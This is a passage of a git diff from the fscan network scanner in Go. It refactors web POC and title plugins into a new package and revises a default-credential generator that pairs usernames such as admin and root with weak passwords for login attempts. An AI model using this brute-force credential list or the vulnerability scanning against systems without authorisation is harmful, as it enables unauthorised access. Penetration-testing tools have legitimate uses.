*BaseLocalPlugin) RequiresPrivileges() bool { - return p.requiresPrivileges -} - -// SetRequiresPrivileges 设置是否需要特殊权限 -func (p *BaseLocalPlugin) SetRequiresPrivileges(required bool) { - p.requiresPrivileges = required -} - -// isPlatformSupported 检查当前平台是否支持 -func (p *BaseLocalPlugin) isPlatformSupported() bool { - currentOS := runtime.GOOS - for _, platform := range p.platforms { - if platform == currentOS { - return true - } - } - return false -} - -// hasRequiredPrivileges 检查是否具有所需权限 -func (p *BaseLocalPlugin) hasRequiredPrivileges() bool { - if !p.requiresPrivileges { - return true - } - - // 这里可以根据平台实现权限检查 - // Windows: 检查是否为管理员 - // Linux/macOS: 检查是否为root或有sudo权限 - switch runtime.GOOS { - case "windows": - return isWindowsAdmin() - case "linux", "darwin": - return isUnixRoot() - default: - return false - } -} - -// 平台特定的权限检查函数 - 实际实现 -func isWindowsAdmin() bool { - // Windows管理员权限检查:尝试写入系统目录 - testPath := `C:\Windows\Temp\fscan_admin_test` - file, err := os.Create(testPath) - if err != nil { - // 无法创建文件,可能没有管理员权限 - return false - } - file.Close() - os.Remove(testPath) - return true -} - -func isUnixRoot() bool { - // Unix/Linux root用户检查 - currentUser, err := user.Current() - if err != nil { - return false - } - return currentUser.Uid == "0" -} \ No newline at end of file diff --git a/plugins/services/init.go b/plugins/services/init.go index cc1e6b9..7086e50 100644 --- a/plugins/services/init.go +++ b/plugins/services/init.go @@ -37,7 +37,7 @@ type ExploitResult struct { Error error } -// Credential 认证凭据 +// Credential 认证凭据(使用全局凭据系统) type Credential struct { Username string Password string @@ -81,27 +81,26 @@ func GetAllPlugins() []string { return plugins } -// GenerateCredentials 生成默认测试凭据 +// GenerateCredentials 生成测试凭据(统一使用全局凭据系统) +// +// 重构说明:消除了插件各自定义凭据的过度设计 +// 现在统一使用 common.Userdict 和 common.Passwords 全局配置 func GenerateCredentials(service string) []Credential { - var credentials []Credential - - // 从common包中获取用户字典和密码列表 + // 使用全局用户字典(按服务分类) users := common.Userdict[service] if len(users) == 0 { - // 使用通用用户名 users = []string{"admin", "root", "administrator", "user", "guest", ""} } + // 使用全局密码列表 passwords := common.Passwords if len(passwords) == 0 { - // 使用通用密码 - passwords = []string{"", "admin", "root", "password", "123456", "12345", "1234"} + passwords = []string{"", "admin", "root", "password", "123456"} } - // 生成用户名和密码的组合 + var credentials []Credential for _, user := range users { for _, pass := range passwords { - // 替换密码中的占位符 actualPass := strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, Credential{ Username: user, @@ -109,6 +108,5 @@ func GenerateCredentials(service string) []Credential { }) } } - return credentials } \ No newline at end of file diff --git a/plugins/web/init.go b/plugins/web/init.go new file mode 100644 index 0000000..a6732b6 --- /dev/null +++ b/plugins/web/init.go @@ -0,0 +1,87 @@ +package web + +import ( + "context" + "fmt" + "sync" + + "github.com/shadow1ng/fscan/common" +) + +// WebPlugin Web扫描插件接口 +type WebPlugin interface { + GetName() string + GetPorts() []int + Scan(ctx context.Context, info *common.HostInfo) *WebScanResult +} + +// WebScanResult Web扫描结果 +type WebScanResult struct { + Success bool + Title string // 网页标题 + Status int // HTTP状态码 + Server string // 服务器信息 + Length int // 响应长度 + VulInfo string // 漏洞信息(如果有) + Error error +} + +// Web插件注册表 +var ( + webPluginRegistry = make(map[string]func() WebPlugin) + webPluginMutex sync.RWMutex +) + +// RegisterWebPlugin 注册Web插件 +func RegisterWebPlugin(name string, creator func() WebPlugin) { + webPluginMutex.Lock() + defer webPluginMutex.Unlock() + webPluginRegistry[name] = creator +} + +// GetWebPlugin 获取指定Web插件 +func GetWebPlugin(name string) WebPlugin { + webPluginMutex.RLock() + defer webPluginMutex.RUnlock() + + if creator, exists := webPluginRegistry[name]; exists { + return creator() + } + return nil +} + +// GetAllWebPlugins 获取所有已注册Web插件的名称 +func GetAllWebPlugins() []string { + webPluginMutex.RLock() + defer webPluginMutex.RUnlock() + + var plugins []string + for name := range webPluginRegistry { + plugins = append(plugins, name) + } + return plugins +} + +// IsWebPort 判断是否为Web端口 +func IsWebPort(port int) bool { + webPorts := []int{80, 443, 8080, 8443, 8000, 8888, 9000, 9090, 3000, 5000} + for _, p := range webPorts { + if p == port { + return true + } + } + return false +} + +// BuildWebURL 构建Web URL +func BuildWebURL(host string, port int) string { + scheme := "http" + if port == 443 || port == 8443 { + scheme = "https" + } + + if port == 80 || port == 443 { + return fmt.Sprintf("%s://%s", scheme, host) + } + return fmt.Sprintf("%s://%s:%d", scheme, host, port) +} \ No newline at end of file diff --git a/plugins/services/webpoc.go b/plugins/web/webpoc.go similarity index 86% rename from plugins/services/webpoc.go rename to plugins/web/webpoc.go index 3198e54..c054cfd 100644 --- a/plugins/services/webpoc.go +++ b/plugins/web/webpoc.go @@ -1,4 +1,4 @@ -package services +package web import ( "context" @@ -33,23 +33,21 @@ func (p *WebPocPlugin) GetPorts() []int { } // Scan 执行Web POC扫描 -func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { +func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo) *WebScanResult { target := fmt.Sprintf("%s:%s", info.Host, info.Ports) // 检查是否禁用POC扫描 if common.DisablePocScan { - return &ScanResult{ + return &WebScanResult{ Success: false, - Service: "webpoc", Error: fmt.Errorf("POC扫描已禁用"), } } // 检查是否为Web端口 if !p.isWebPort(info.Ports) { - return &ScanResult{ + return &WebScanResult{ Success: false, - Service: "webpoc", Error: fmt.Errorf("端口 %s 不是常见Web端口", info.Ports), } } @@ -60,16 +58,14 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanRes results := p.runWebScan(ctx, info) if len(results) > 0 { common.LogSuccess(fmt.Sprintf("WebPOC %s 发现 %d 个漏洞", target, len(results))) - return &ScanResult{ + return &WebScanResult{ Success: true, - Service: "webpoc", - Banner: fmt.Sprintf("发现 %d 个Web漏洞", len(results)), + VulInfo: fmt.Sprintf("发现 %d 个Web漏洞", len(results)), } } - return &ScanResult{ + return &WebScanResult{ Success: false, - Service: "webpoc", Error: fmt.Errorf("未发现Web漏洞"), } } @@ -103,21 +99,20 @@ func (p *WebPocPlugin) runWebScan(ctx context.Context, info *common.HostInfo) [] } // identifyService 服务识别 - Web服务检测 -func (p *WebPocPlugin) identifyService(ctx context.Context, info *common.HostInfo) *ScanResult { +func (p *WebPocPlugin) identifyService(ctx context.Context, info *common.HostInfo) *WebScanResult { target := fmt.Sprintf("%s:%s", info.Host, info.Ports) banner := "Web应用程序" common.LogSuccess(fmt.Sprintf("WebPOC %s %s", target, banner)) - return &ScanResult{ + return &WebScanResult{ Success: true, - Service: "webpoc", - Banner: banner, + VulInfo: banner, } } // init 自动注册插件 func init() { - RegisterPlugin("webpoc", func() Plugin { + RegisterWebPlugin("webpoc", func() WebPlugin { return NewWebPocPlugin() }) } diff --git a/plugins/services/webtitle.go b/plugins/web/webtitle.go similarity index 95% rename from plugins/services/webtitle.go rename to plugins/web/webtitle.go index 0397dc3..1f49803 100644 --- a/plugins/services/webtitle.go +++ b/plugins/web/webtitle.go @@ -1,4 +1,4 @@ -package services +package web import ( "context" @@ -39,7 +39,7 @@ func (p *WebTitlePlugin) GetPorts() []int { } // Scan 执行WebTitle扫描 - Web服务识别和指纹获取 -func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { +func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo) *WebScanResult { target := fmt.Sprintf("%s:%s", info.Host, info.Ports) // 检查是否为Web端口 @@ -51,9 +51,8 @@ func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanR } if !webPorts[info.Ports] { - return &ScanResult{ + return &WebScanResult{ Success: false, - Service: "webtitle", Error: fmt.Errorf("非Web端口"), } } @@ -61,17 +60,15 @@ func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanR // 获取Web信息 webInfo, err := p.getWebInfo(ctx, info) if err != nil { - return &ScanResult{ + return &WebScanResult{ Success: false, - Service: "webtitle", Error: err, } } if !webInfo.Valid { - return &ScanResult{ + return &WebScanResult{ Success: false, - Service: "webtitle", Error: fmt.Errorf("未发现有效的Web服务"), } } @@ -89,10 +86,12 @@ func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanR } common.LogSuccess(msg) - return &ScanResult{ + return &WebScanResult{ Success: true, - Service: "webtitle", - Banner: webInfo.Summary(), + Title: webInfo.Title, + Status: webInfo.StatusCode, + Server: webInfo.Server, + Length: int(webInfo.ContentLength), } } @@ -312,9 +311,9 @@ func (p *WebTitlePlugin) detectTechnologies(resp *http.Response, body string, we } } -// init 自动注册插件 +// init 自动注册Web插件 func init() { - RegisterPlugin("webtitle", func() Plugin { + RegisterWebPlugin("webtitle", func() WebPlugin { return NewWebTitlePlugin() }) }